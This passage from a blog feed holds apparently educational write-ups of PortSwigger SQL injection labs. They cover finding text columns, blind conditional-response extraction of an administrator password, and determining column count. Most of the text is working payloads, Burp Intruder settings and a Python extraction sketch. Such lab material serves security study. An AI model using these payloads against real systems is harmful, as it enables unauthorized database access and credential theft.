can&#39;t show extracted data<br>✓ Use short test strings (&#39;a&#39;, &#39;test&#39;, &#39;x&#39;) to save space<br>✓ Remember NULL positions when building extraction queries<br>✓ Document which columns work: &quot;Column 2 = text ✓&quot;</pre><h3>Next Steps After Finding Text Columns</h3><pre>Once you identify text-compatible columns, you can:</pre><pre>1. Extract database metadata:<br>   &#39; UNION SELECT NULL,database(),NULL--</pre><pre>2. List tables:<br>   &#39; UNION SELECT NULL,table_name,NULL FROM information_schema.tables--</pre><pre>3. Extract usernames:<br>   &#39; UNION SELECT NULL,username,NULL FROM users--</pre><pre>4. Extract passwords:<br>   &#39; UNION SELECT NULL,password,NULL FROM users--</pre><h3>⚠️ Common Mistakes</h3><p><strong>Mistake 1: Testing all columns at once</strong></p><pre>❌ &#39; UNION SELECT &#39;a&#39;,&#39;b&#39;,&#39;c&#39;--  (Can&#39;t tell which column failed)<br>✅ &#39; UNION SELECT &#39;a&#39;,NULL,NULL--  (Isolates Column 1)</pre><p><strong>Mistake 2: Forgetting URL encoding</strong></p><pre>Browser: Automatically encodes<br>Burp: Must press Ctrl+U manually</pre><p><strong>Mistake 3: Assuming visible = all columns</strong></p><pre>3 columns exist, but only 2 visible on page<br>Column 1 (ID) is hidden → useless for extraction</pre><p><strong>Mistake 4: Not documenting findings</strong></p><pre>✗ &quot;One of the columns worked...&quot;<br>✓ &quot;Column 2 accepts strings, Column 1 and 3 don&#39;t&quot;</pre><h3>🔬 Understanding the Errors</h3><p><strong>“Data type mismatch” error means:</strong></p><ul><li>You tried to inject a string into an INT/DECIMAL column</li><li>Database can’t convert your text to the expected type</li><li>Move to the next column and try again</li></ul><p><strong>“No error but nothing visible” means:</strong></p><ul><li>Column accepts strings BUT is hidden from the page</li><li>Injection worked technically, but useless for extraction</li><li>Try the next visible column</li></ul><p><strong>“Success + text visible” means:</strong></p><ul><li>Column is VARCHAR/TEXT type ✓</li><li>Column is displayed on the page ✓</li><li>This is your extraction point! ✓</li></ul><p><em>Remember:</em> Finding text-compatible columns is the gateway to data extraction. Once you know which columns accept strings, you can pull usernames, passwords, emails, and any other text-based data from the database.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5a76aee01f92" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blind SQL Injection: Conditional Responses]]></title>
            <link>https://medium.com/@cipher0x00/blind-sql-injection-conditional-responses-06baaa3f10d8?source=rss-9366d1f0c9f6------2</link>
            <guid isPermaLink="false">https://medium.com/p/06baaa3f10d8</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Cipher0x00]]></dc:creator>
            <pubDate>Sat, 11 Oct 2025 03:36:45 GMT</pubDate>
            <atom:updated>2025-10-11T03:36:45.954Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*DhkYLyFnNy7jZNCvfxzh-w.jpeg" /></figure><h3>🎯 Goal</h3><p>Extract the administrator’s password character-by-character when the application doesn’t display query results, only showing a “Welcome back” message if the query returns rows.</p><h3>💡 The Flaw</h3><p><strong>Traditional SQL injection:</strong> Query results are displayed directly (usernames, passwords visible on page)</p><p><strong>Blind SQL injection:</strong> No query results displayed, but the application behaves differently based on TRUE vs FALSE conditions.</p><p><strong>The Indicator:</strong></p><ul><li><strong>TRUE condition</strong> → “Welcome back” message appears</li><li><strong>FALSE condition</strong> → No “Welcome back” message</li></ul><p>We exploit this to ask YES/NO questions and extract data one bit at a time.</p><h3>🔍 Understanding Blind SQL Injection</h3><p><strong>The Vulnerable Cookie:</strong></p><pre>TrackingId=xyz</pre><p><strong>Backend Query:</strong></p><pre>SELECT tracking_id FROM tracking_table WHERE tracking_id=&#39;xyz&#39;</pre><p><strong>If rows are returned</strong> → “Welcome back” appears<br> <strong>If no rows</strong> → No message</p><p><strong>We can inject conditions:</strong></p><pre>TrackingId=xyz&#39; AND &#39;1&#39;=&#39;1<br>-- Returns rows (TRUE) → &quot;Welcome back&quot; appears</pre><pre>TrackingId=xyz&#39; AND &#39;1&#39;=&#39;2  <br>-- Returns no rows (FALSE) → No &quot;Welcome back&quot;</pre><p>This TRUE/FALSE behavior lets us ask questions and get answers!</p><h3>⚔️ Exploitation Flow</h3><h3>Step 1: Confirm Blind SQL Injection</h3><p><strong>Action:</strong> Test with TRUE and FALSE conditions</p><p><strong>Test TRUE condition:</strong></p><pre>TrackingId=xyz&#39; AND &#39;1&#39;=&#39;1</pre><p><em>Result:</em> <strong>“Welcome back” appears</strong> → TRUE condition confirmed ✅</p><p><strong>Test FALSE condition:</strong></p><pre>TrackingId=xyz&#39; AND &#39;1&#39;=&#39;2</pre><p><em>Result:</em> <strong>“Welcome back” disappears</strong> → FALSE condition confirmed ✅</p><p><em>Why this matters:</em> Different responses to TRUE/FALSE = exploitable blind SQL injection</p><h3>Step 2: Verify Table Exists</h3><p><strong>Action:</strong> Check if the users table exists in the database</p><p><strong>Payload:</strong></p><pre>TrackingId=xyz&#39; AND (SELECT &#39;a&#39; FROM users LIMIT 1)=&#39;a</pre><p><em>Breakdown:</em></p><ul><li>SELECT &#39;a&#39; FROM users LIMIT 1 = Try to select from users table</li><li>If table exists → Query returns ‘a’</li><li>=&#39;a&#39; = Compare the result to &#39;a&#39;</li><li>If TRUE → “Welcome back” appears</li></ul><p><em>Result:</em> <strong>“Welcome back” appears</strong> → users table exists ✅</p><p><em>Why LIMIT 1?</em> Ensures only one row is returned (avoids multiple row errors)</p><h3>Step 3: Verify Administrator Exists</h3><p><strong>Action:</strong> Check if username ‘administrator’ exists in the users table</p><p><strong>Payload:</strong></p><pre>TrackingId=xyz&#39; AND (SELECT &#39;a&#39; FROM users WHERE username=&#39;administrator&#39;)=&#39;a</pre><p><em>Breakdown:</em></p><ul><li>WHERE username=&#39;administrator&#39; = Filter for specific user</li><li>If user exists → Query returns ‘a’</li><li>If user doesn’t exist → Query returns nothing (FALSE)</li></ul><p><em>Result:</em> <strong>“Welcome back” appears</strong> → administrator user exists ✅</p><h3>Step 4: Determine Password Length</h3><p><strong>Action:</strong> Find how many characters are in the password</p><p><em>Why:</em> Knowing the length tells us how many characters to extract.</p><p><strong>Test incrementally:</strong></p><p><strong>Is password &gt; 1 character?</strong></p><pre>TrackingId=xyz&#39; AND (SELECT &#39;a&#39; FROM users WHERE username=&#39;administrator&#39; AND LENGTH(password)&gt;1)=&#39;a</pre><p><em>Result:</em> <strong>“Welcome back” appears</strong> → TRUE, password &gt; 1 char</p><p><strong>Is password &gt; 2 characters?</strong></p><pre>TrackingId=xyz&#39; AND (SELECT &#39;a&#39; FROM users WHERE username=&#39;administrator&#39; AND LENGTH(password)&gt;2)=&#39;a</pre><p><em>Result:</em> <strong>“Welcome back” appears</strong> → TRUE, password &gt; 2 chars</p><p><strong>Continue testing: &gt; 3, &gt; 4, &gt; 5… &gt; 19, &gt; 20</strong></p><p><strong>Is password &gt; 20 characters?</strong></p><pre>TrackingId=xyz&#39; AND (SELECT &#39;a&#39; FROM users WHERE username=&#39;administrator&#39; AND LENGTH(password)&gt;20)=&#39;a</pre><p><em>Result:</em> <strong>“Welcome back” DISAPPEARS</strong> → FALSE, password is NOT &gt; 20</p><p><strong>Conclusion:</strong> Password is exactly <strong>20 characters long</strong> ✅</p><h3>Step 5: Extract Password Character-by-Character</h3><p><strong>Action:</strong> Test each character position with all possible values (a-z, 0–9)</p><p><em>Why:</em> Since we can’t see the password, we ask: “Is the first character ‘a’?” “Is it ‘b’?” etc.</p><p><strong>Test Position 1, Character ‘a’:</strong></p><pre>TrackingId=xyz&#39; AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username=&#39;administrator&#39;)=&#39;a</pre><p><em>Breakdown:</em></p><ul><li>SUBSTRING(password,1,1) = Extract 1 character starting at position 1</li><li>=&#39;a&#39; = Is it equal to &#39;a&#39;?</li></ul><p><em>Result:</em> <strong>No “Welcome back”</strong> → First character is NOT ‘a’</p><p><strong>Test Position 1, Character ‘b’:</strong></p><pre>TrackingId=xyz&#39; AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username=&#39;administrator&#39;)=&#39;b</pre><p><em>Result:</em> <strong>No “Welcome back”</strong> → First character is NOT ‘b’</p><p><strong>Continue testing: ‘c’, ‘d’, ‘e’… ‘0’, ‘1’, ‘2’…</strong></p><p><strong>Test Position 1, Character ‘5’:</strong></p><pre>TrackingId=xyz&#39; AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username=&#39;administrator&#39;)=&#39;5</pre><p><em>Result:</em> <strong>“Welcome back” appears!</strong> → First character is <strong>‘5’</strong> ✅</p><p><strong>Repeat for Position 2:</strong></p><pre>TrackingId=xyz&#39; AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username=&#39;administrator&#39;)=&#39;a</pre><p>Test ‘a’, ‘b’, ‘c’… until you find the match.</p><p><strong>Continue for all 20 positions until full password is extracted.</strong></p><h3>Step 6: Automate with Burp Intruder</h3><p><strong>Action:</strong> Use Burp Intruder to automate the brute-forcing process</p><p><em>Why:</em> Testing 20 positions × 36 characters (a-z, 0–9) = 720 requests. Too slow manually.</p><p><strong>Setup Intruder:</strong></p><ol><li>Send request to Intruder</li><li>Set payload positions:</li></ol><pre>TrackingId=xyz&#39; AND (SELECT SUBSTRING(password,§1§,1) FROM users WHERE username=&#39;administrator&#39;)=&#39;§a§</pre><ol><li><strong>Payload Set 1</strong> (Position number): Sequential 1–20</li><li><strong>Payload Set 2</strong> (Character to test): a-z, 0–9</li><li><strong>Attack Type:</strong> Cluster Bomb (tests all combinations)</li><li><strong>Grep Match:</strong> Add “Welcome back” to flag successful matches</li></ol><p><strong>Launch attack and filter results:</strong></p><ul><li>Only rows with “Welcome back” are correct characters</li><li>Sort by position to reconstruct password</li></ul><p><strong>Extracted password:</strong> 5t2rqbjt7a49cy0b7s6s (example)</p><h3>Step 7: Login as Administrator</h3><p><strong>Action:</strong> Use the extracted password</p><ol><li>Navigate to /login</li><li>Enter:</li></ol><ul><li><strong>Username:</strong> administrator</li><li><strong>Password:</strong> 5t2rqbjt7a49cy0b7s6s</li></ul><p>3. Click Login</p><p><strong>Lab solved. ✅</strong></p><h3>🧠 Key Takeaways</h3><ol><li><strong>Blind SQL injection = asking YES/NO questions</strong> to the database</li><li><strong>TRUE/FALSE responses</strong> are your only feedback (not actual data)</li><li><strong>Character-by-character extraction</strong> is tedious but effective</li><li><strong>Length determination first</strong> saves time (know when to stop)</li><li><strong>Burp Intruder or Python scripts</strong> are essential for automation</li><li><strong>SUBSTRING/SUBSTR</strong> functions extract one character at a time</li></ol><h3>🎯 How This Attack Works</h3><p><strong>The Question Game:</strong></p><pre>You: &quot;Is the first character &#39;a&#39;?&quot;<br>DB:  FALSE (no &quot;Welcome back&quot;)</pre><pre>You: &quot;Is the first character &#39;b&#39;?&quot;<br>DB:  FALSE (no &quot;Welcome back&quot;)</pre><pre>You: &quot;Is the first character &#39;5&#39;?&quot;<br>DB:  TRUE (&quot;Welcome back&quot; appears) ✓</pre><pre>You: &quot;Is the second character &#39;a&#39;?&quot;<br>DB:  FALSE (no &quot;Welcome back&quot;)</pre><pre>...continue until entire password extracted...</pre><p><strong>Visual Process:</strong></p><pre>Password: _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _  (20 chars)</pre><pre>Position 1: Test a-z, 0-9 → Match: &#39;5&#39;<br>Password: 5 _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</pre><pre>Position 2: Test a-z, 0-9 → Match: &#39;t&#39;  <br>Password: 5 t _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</pre><pre>Position 3: Test a-z, 0-9 → Match: &#39;2&#39;<br>Password: 5 t 2 _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</pre><pre>...continue for all 20 positions...</pre><pre>Final: 5 t 2 r q b j t 7 a 4 9 c y 0 b 7 s 6 s</pre><h3>🛠️ Burp Suite Workflow</h3><h3>Manual Testing (Repeater)</h3><ol><li>Intercept request with TrackingId cookie</li><li>Send to Repeater (Ctrl+R)</li><li>Test TRUE condition (&#39;1&#39;=&#39;1)</li><li>Test FALSE condition (&#39;1&#39;=&#39;2)</li><li>Verify table/user exists</li><li>Determine password length</li><li>Test first few characters manually</li></ol><h3>Automated Extraction (Intruder)</h3><ol><li>Send request to Intruder</li><li>Set Attack Type: <strong>Cluster Bomb</strong></li><li>Define two payload positions:</li></ol><ul><li>Position number (1–20)</li><li>Character to test (a-z, 0–9)</li></ul><ol><li>Configure Grep Match: “Welcome back”</li><li>Launch attack (720 requests)</li><li>Filter results where “Welcome back” appears</li><li>Sort by position to reconstruct password</li></ol><h3>📌 Quick Reference Card</h3><h3>Attack Flow Checklist</h3><pre>☐ Step 1: Confirm blind SQLi<br>   &#39; AND &#39;1&#39;=&#39;1  →  Welcome back = TRUE<br>   &#39; AND &#39;1&#39;=&#39;2  →  No message = FALSE</pre><pre>☐ Step 2: Verify table exists<br>   &#39; AND (SELECT &#39;a&#39; FROM users LIMIT 1)=&#39;a</pre><pre>☐ Step 3: Verify user exists  <br>   &#39; AND (SELECT &#39;a&#39; FROM users WHERE username=&#39;administrator&#39;)=&#39;a</pre><pre>☐ Step 4: Find password length<br>   &#39; AND LENGTH(password)&gt;1  →  TRUE<br>   &#39; AND LENGTH(password)&gt;2  →  TRUE<br>   ...continue until FALSE...<br>   &#39; AND LENGTH(password)&gt;20 →  FALSE = 20 chars</pre><pre>☐ Step 5: Extract each character<br>   Position 1: &#39; AND SUBSTRING(password,1,1)=&#39;5  →  TRUE ✓<br>   Position 2: &#39; AND SUBSTRING(password,2,1)=&#39;t  →  TRUE ✓<br>   ...continue for all 20 positions...</pre><pre>☐ Step 6: Login with extracted password</pre><h3>SUBSTRING Function Syntax</h3><pre>Different databases use different functions:</pre><pre>PostgreSQL/MySQL:<br>SUBSTRING(password, position, length)<br>SUBSTRING(password, 1, 1)  →  First character<br>SUBSTRING(password, 5, 1)  →  Fifth character</pre><pre>Oracle:<br>SUBSTR(password, position, length)<br>SUBSTR(password, 1, 1)  →  First character</pre><pre>MS SQL:<br>SUBSTRING(password, position, length)<br>Same syntax as PostgreSQL</pre><pre>Examples:<br>SUBSTRING(&#39;password123&#39;, 1, 1) = &#39;p&#39;<br>SUBSTRING(&#39;password123&#39;, 5, 1) = &#39;w&#39;<br>SUBSTRING(&#39;password123&#39;, 9, 1) = &#39;1&#39;</pre><h3>LENGTH Function Syntax</h3><pre>PostgreSQL/MySQL:<br>LENGTH(password)</pre><pre>Oracle:<br>LENGTH(password)</pre><pre>MS SQL:<br>LEN(password)</pre><pre>Usage:<br>LENGTH(password) &gt; 10   →  Password longer than 10 chars?<br>LENGTH(password) = 20   →  Password exactly 20 chars?<br>LENGTH(password) &lt; 30   →  Password shorter than 30 chars?</pre><h3>Conditional Response Decoder</h3><pre>&quot;Welcome back&quot; appears     →  Condition is TRUE ✓<br>&quot;Welcome back&quot; disappears  →  Condition is FALSE ✗<br>No change in response      →  Not vulnerable (try error-based)<br>Error message              →  Syntax error (check payload)</pre><h3>Character Testing Strategy</h3><pre>Test Order for Efficiency:<br>1. Common characters first: e, a, s, t, o, i, n<br>2. Then numbers: 0-9<br>3. Then remaining letters: b-z</pre><pre>Charset for this lab:<br>Lowercase: a b c d e f g h i j k l m n o p q r s t u v w x y z<br>Numbers:   0 1 2 3 4 5 6 7 8 9<br>Total:     36 possible characters per position</pre><pre>If uppercase is possible:<br>Add: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z<br>Total: 62 possible characters per position</pre><h3>Burp Intruder Configuration</h3><pre>Attack Type: Cluster Bomb<br>  ↳ Tests all combinations of payload sets</pre><pre>Payload Set 1 (Position):<br>  Type: Numbers<br>  From: 1<br>  To: 20 (password length)<br>  Step: 1</pre><pre>Payload Set 2 (Character):<br>  Type: Simple list<br>  Values: a-z, 0-9 (36 total)<br>  Use &quot;Add from list&quot; dropdown</pre><pre>Grep Match Settings:<br>  Clear existing entries<br>  Add: &quot;Welcome back&quot;<br>  <br>Results:<br>  Filter by &quot;Welcome back&quot; column<br>  Sort by payload 1 (position)<br>  Read payload 2 (character) for each position</pre><h3>Manual vs Automated Timeline</h3><pre>Manual Testing (Repeater only):<br>  20 positions × 36 characters = 720 requests<br>  1 request every 5 seconds = 60 minutes<br>  <br>Burp Pro Intruder:<br>  720 requests with threading<br>  ~2-5 minutes total<br>  <br>Python Script (multithreaded):<br>  720 requests with 10 threads<br>  ~1-2 minutes total<br>  <br>Recommendation:<br>  Manual: First 2-3 characters only (learning)<br>  Burp Pro: Full automation (fast)<br>  Python: Best for real pentests (flexible)</pre><h3>Common Payload Mistakes</h3><pre>✗ Missing closing quote:<br>  &#39; AND SUBSTRING(password,1,1)=&#39;a<br>  <br>✓ Properly closed:<br>  &#39; AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username=&#39;administrator&#39;)=&#39;a</pre><pre>✗ Wrong SUBSTRING syntax:<br>  SUBSTRING(1, password, 1)  ← Position first (wrong)<br>  <br>✓ Correct syntax:<br>  SUBSTRING(password, 1, 1)  ← String first</pre><pre>✗ Missing parentheses:<br>  &#39; AND SELECT SUBSTRING(password,1,1) FROM users...<br>  <br>✓ With subquery parentheses:<br>  &#39; AND (SELECT SUBSTRING(password,1,1) FROM users...)=&#39;a</pre><h3>Real-World Optimization</h3><pre>Binary Search for Length:<br>Instead of testing 1, 2, 3, 4... sequentially:</pre><pre>Test middle first:<br>LENGTH(password) &gt; 10?  →  TRUE<br>LENGTH(password) &gt; 15?  →  TRUE<br>LENGTH(password) &gt; 20?  →  FALSE<br>LENGTH(password) &gt; 17?  →  TRUE<br>LENGTH(password) &gt; 18?  →  TRUE<br>LENGTH(password) &gt; 19?  →  TRUE<br>LENGTH(password) &gt; 20?  →  FALSE<br>Result: Password = 20 chars</pre><pre>Time saved: ~10 requests instead of 20</pre><pre>Character Frequency Optimization:<br>Test common characters first: e, t, a, o, i, n<br>Reduces average requests per character from 18 to ~8</pre><h3>Troubleshooting Guide</h3><pre>Problem: No &quot;Welcome back&quot; ever appears<br>  → Check if original cookie value is correct<br>  → Verify you&#39;re testing on the right parameter<br>  → Try error-based or time-based injection instead</pre><pre>Problem: &quot;Welcome back&quot; always appears  <br>  → Your condition might always be TRUE<br>  → Verify FALSE condition works: &#39;1&#39;=&#39;2<br>  → Check for AND vs OR logic issues</pre><pre>Problem: Intruder shows all FALSE<br>  → Wrong SUBSTRING position (out of bounds)<br>  → Wrong table/column names<br>  → Check response length differences instead</pre><pre>Problem: Multiple characters show TRUE<br>  → Response length might vary naturally<br>  → Use more specific grep match<br>  → Check for consistent response patterns</pre><pre>Problem: Burp Community is too slow<br>  → Switch to Python scripting<br>  → Use sequential requests (not cluster bomb)<br>  → Test first 5 chars manually, then automate</pre><h3>Python Script Alternative</h3><pre># Pseudo-code for automation:</pre><pre>import requests</pre><pre>url = &quot;https://target.com&quot;<br>chars = &quot;abcdefghijklmnopqrstuvwxyz0123456789&quot;<br>password = &quot;&quot;</pre><pre># Get password length<br>for i in range(1, 50):<br>    payload = f&quot;&#39; AND LENGTH(password)&gt;{i}--&quot;<br>    if &quot;Welcome back&quot; not in response:<br>        length = i<br>        break</pre><pre># Extract each character<br>for position in range(1, length + 1):<br>    for char in chars:<br>        payload = f&quot;&#39; AND SUBSTRING(password,{position},1)=&#39;{char}&quot;<br>        response = requests.get(url, cookies={&quot;TrackingId&quot;: payload})<br>        if &quot;Welcome back&quot; in response.text:<br>            password += char<br>            print(f&quot;Position {position}: {char}&quot;)<br>            break</pre><pre>print(f&quot;Password: {password}&quot;)</pre><h3>Database-Specific Functions</h3><pre>PostgreSQL:<br>  SUBSTRING(string, start, length)<br>  LENGTH(string)<br>  Example: SUBSTRING(password,1,1)</pre><pre>MySQL:<br>  SUBSTRING(string, start, length) or SUBSTR()<br>  LENGTH(string) or CHAR_LENGTH()<br>  Example: SUBSTRING(password,1,1)</pre><pre>Oracle:<br>  SUBSTR(string, start, length)<br>  LENGTH(string)<br>  Example: SUBSTR(password,1,1)</pre><pre>MS SQL Server:<br>  SUBSTRING(string, start, length)<br>  LEN(string)<br>  Example: SUBSTRING(password,1,1)</pre><pre>SQLite:<br>  SUBSTR(string, start, length)<br>  LENGTH(string)<br>  Example: SUBSTR(password,1,1)</pre><h3>⚠️ Common Mistakes</h3><p><strong>Mistake 1: Testing without closing the query</strong></p><pre>✗ TrackingId=xyz&#39; AND SUBSTRING(password,1,1)=&#39;a<br>  (No closing quote, syntax error)</pre><pre>✓ TrackingId=xyz&#39; AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username=&#39;administrator&#39;)=&#39;a<br>  (Properly closed subquery)</pre><p><strong>Mistake 2: Wrong SUBSTRING syntax</strong></p><pre>✗ SUBSTRING(1, password, 1)  (Position first - wrong)<br>✓ SUBSTRING(password, 1, 1)  (String first - correct)</pre><pre>✗ SUBSTRING(password, 1)     (Missing length parameter)<br>✓ SUBSTRING(password, 1, 1)  (Includes length)</pre><p><strong>Mistake 3: Not URL-encoding in Burp</strong></p><pre>✗ TrackingId=xyz&#39; AND &#39;1&#39;=&#39;1  (Spaces not encoded)<br>✓ TrackingId=xyz&#39;+AND+&#39;1&#39;=&#39;1  (Press Ctrl+U in Burp)</pre><p><strong>Mistake 4: Testing out-of-bounds positions</strong></p><pre>✗ SUBSTRING(password, 25, 1)  (Password only 20 chars)<br>   Result: Always FALSE, wastes time</pre><pre>✓ Determine length first, then test positions 1-20 only</pre><p><strong>Mistake 5: Not using LIMIT 1</strong></p><pre>✗ (SELECT &#39;a&#39; FROM users WHERE username=&#39;administrator&#39;)<br>   Could return multiple rows (error)</pre><pre>✓ (SELECT &#39;a&#39; FROM users WHERE username=&#39;administrator&#39; LIMIT 1)<br>   Returns single row (works)</pre><h3>🔬 Understanding the Responses</h3><p><strong>What you see vs what’s happening:</strong></p><p><strong>Test TRUE condition:</strong></p><pre>Request:  TrackingId=xyz&#39; AND &#39;1&#39;=&#39;1<br>Query:    SELECT * FROM tracking WHERE tracking_id=&#39;xyz&#39; AND &#39;1&#39;=&#39;1&#39;<br>Result:   Rows returned (TRUE)<br>Page:     &quot;Welcome back&quot; appears ✓</pre><p><strong>Test FALSE condition:</strong></p><pre>Request:  TrackingId=xyz&#39; AND &#39;1&#39;=&#39;2<br>Query:    SELECT * FROM tracking WHERE tracking_id=&#39;xyz&#39; AND &#39;1&#39;=&#39;2&#39;<br>Result:   No rows returned (FALSE)<br>Page:     No &quot;Welcome back&quot; message ✗</pre><p><strong>Test first character = ‘5’:</strong></p><pre>Request:  TrackingId=xyz&#39; AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username=&#39;administrator&#39;)=&#39;5<br>Query:    <br>  1. SUBSTRING(password,1,1) extracts &#39;5&#39;<br>  2. &#39;5&#39; = &#39;5&#39; → TRUE<br>  3. Main query returns rows<br>Page:     &quot;Welcome back&quot; appears ✓<br>Meaning:  First character IS &#39;5&#39;</pre><p><strong>Test first character = ‘a’:</strong></p><pre>Request:  TrackingId=xyz&#39; AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username=&#39;administrator&#39;)=&#39;a<br>Query:    <br>  1. SUBSTRING(password,1,1) extracts &#39;5&#39;<br>  2. &#39;5&#39; = &#39;a&#39; → FALSE<br>  3. Main query returns no rows<br>Page:     No &quot;Welcome back&quot; ✗<br>Meaning:  First character is NOT &#39;a&#39;</pre><h3>🎓 Blind SQLi vs Normal SQLi</h3><p><strong>Normal (Error-Based) SQL Injection:</strong></p><pre>Input:  &#39; UNION SELECT username,password FROM users--<br>Output: Direct display of usernames and passwords on page<br>Time:   1 request = full data extraction</pre><p><strong>Blind SQL Injection (Conditional):</strong></p><pre>Input:  &#39; AND SUBSTRING(password,1,1)=&#39;a<br>Output: Only TRUE/FALSE indicator (Welcome back message)<br>Time:   720 requests = full password extraction (20 chars × 36 tests)</pre><pre>Pros: Works when no data is displayed<br>Cons: Slow, requires many requests, easily detected</pre><p><em>Remember:</em> Blind SQL injection is like playing “20 Questions” with a database. You can’t see the answer directly, but by asking the right YES/NO questions, you can reconstruct the entire password character by character. It’s slow but effective when error messages and data display are disabled.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=06baaa3f10d8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection: Determining Column Count]]></title>
            <link>https://medium.com/@cipher0x00/sql-injection-determining-column-count-aba8630fedb2?source=rss-9366d1f0c9f6------2</link>
            <guid isPermaLink="false">https://medium.com/p/aba8630fedb2</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[Cipher0x00]]></dc:creator>
            <pubDate>Fri, 10 Oct 2025 15:31:56 GMT</pubDate>
            <atom:updated>2025-10-10T15:31:56.837Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*DhkYLyFnNy7jZNCvfxzh-w.jpeg" /></figure><h3>🎯 Goal</h3><p>Identify the number of columns in a vulnerable SQL query to prepare for UNION-based attacks.</p><h3>💡 The Flaw</h3><p>The UNION operator combines results from two queries, but it requires <strong>identical column counts</strong>. If the numbers don&#39;t match, the database throws an error. We exploit this by incrementally adding columns until the error disappears.</p><p><strong>UNION Rules:</strong></p><ol><li><strong>Column count must match</strong> between queries</li><li><strong>Data types must be compatible</strong> (NULL works with any type)</li></ol><h3>🔍 Why This Matters</h3><p>Before extracting data with UNION SELECT, you MUST know the column count. Think of it like this:</p><pre>-- Original query (hidden from you)<br>SELECT product_name, price, id FROM products WHERE category=&#39;Gifts&#39;</pre><pre>-- Your injection must match 3 columns<br>&#39; UNION SELECT username, password, NULL FROM users--</pre><p>If you use 2 columns in your UNION → <strong>Error</strong><br> If you use 4 columns in your UNION → <strong>Error</strong><br> If you use 3 columns in your UNION → <strong>Success</strong> ✅</p><h3>⚔️ Exploitation Flow</h3><h3>Method 1: NULL Injection (Iterative)</h3><p><strong>Action:</strong> Add NULL values until the error disappears</p><p><em>Why:</em> NULL is compatible with ANY data type, so we don’t need to guess column types yet.</p><p><strong>Payloads (increment step-by-step):</strong></p><pre>&#39; UNION SELECT NULL--           ← Error (1 column doesn&#39;t match)<br>&#39; UNION SELECT NULL,NULL--      ← Error (2 columns doesn&#39;t match)<br>&#39; UNION SELECT NULL,NULL,NULL-- ← Success! (3 columns match)</pre><p><em>What happens:</em></p><ul><li>Each NULL represents one column in our injected query</li><li>Database compares column counts: 3 (original) vs ? (injection)</li><li>When counts match → <strong>200 OK response</strong> + “Congratulations” message</li><li>When counts don’t match → <strong>500 Internal Server Error</strong></li></ul><p><em>Breakdown:</em></p><ul><li>&#39; = closes the original query&#39;s string</li><li>UNION SELECT NULL,NULL,NULL = our injected query with 3 columns</li><li>-- = comments out the rest of the original query</li></ul><h3>Method 2: ORDER BY (Cleaner)</h3><p><strong>Action:</strong> Use ORDER BY to test column positions</p><p><em>Why:</em> ORDER BY n sorts by the nth column. If column n doesn&#39;t exist → error.</p><p><strong>Payloads:</strong></p><pre>&#39; ORDER BY 1--  ← Success (column 1 exists)<br>&#39; ORDER BY 2--  ← Success (column 2 exists)<br>&#39; ORDER BY 3--  ← Success (column 3 exists)<br>&#39; ORDER BY 4--  ← Error! (column 4 doesn&#39;t exist)</pre><p><em>What it does:</em></p><ul><li>ORDER BY 1 = sort by the 1st column (often an ID you don&#39;t see)</li><li>ORDER BY 2 = sort by the 2nd column (product name - alphabetically)</li><li>ORDER BY 3 = sort by the 3rd column (price - ascending order)</li><li>ORDER BY 4 = <strong>Error</strong> → only 3 columns exist</li></ul><p><em>Result:</em> When you hit an error, subtract 1 to get the column count: 4 - 1 = 3 columns</p><p><strong>Visual confirmation:</strong></p><ul><li>ORDER BY 1: No visible change (likely ID column)</li><li>ORDER BY 2: Products sorted A-Z by name</li><li>ORDER BY 3: Products sorted by price (27, 45, 98, 99)</li></ul><h3>🧠 Key Takeaways</h3><ol><li><strong>UNION requires matching column counts</strong> → Find the count first</li><li><strong>NULL is universal</strong> → Works with any data type (string, int, date)</li><li><strong>Two methods:</strong></li></ol><ul><li>NULL injection = Add NULLs until no error</li><li>ORDER BY = Increment until error, then subtract 1</li></ul><ol><li><strong>ORDER BY is cleaner</strong> → Fewer requests, visual confirmation in browser</li><li><strong>Always URL-encode</strong> in Burp (Ctrl+U)</li></ol><h3>🛠️ Burp Suite Workflow</h3><ol><li>Intercept category request</li><li>Send to Repeater (Ctrl+R)</li><li>Turn off intercept</li><li>Modify category parameter</li><li>Press Ctrl+U to URL-encode</li><li>Send and check response code:</li></ol><ul><li><strong>500 Error</strong> → Wrong column count, keep testing</li><li><strong>200 OK</strong> → Correct column count found!</li></ul><h3>📌 Quick Reference Card</h3><h3>NULL Method Cheat Sheet</h3><pre>Test 1: &#39; UNION SELECT NULL--<br>Test 2: &#39; UNION SELECT NULL,NULL--<br>Test 3: &#39; UNION SELECT NULL,NULL,NULL--<br>...continue until 200 OK response</pre><h3>ORDER BY Method Cheat Sheet</h3><pre>Test 1: &#39; ORDER BY 1--  (Success = column exists)<br>Test 2: &#39; ORDER BY 2--  (Success = column exists)<br>Test 3: &#39; ORDER BY 3--  (Success = column exists)<br>Test 4: &#39; ORDER BY 4--  (Error = too many columns)</pre><pre>Formula: Column Count = Error Number - 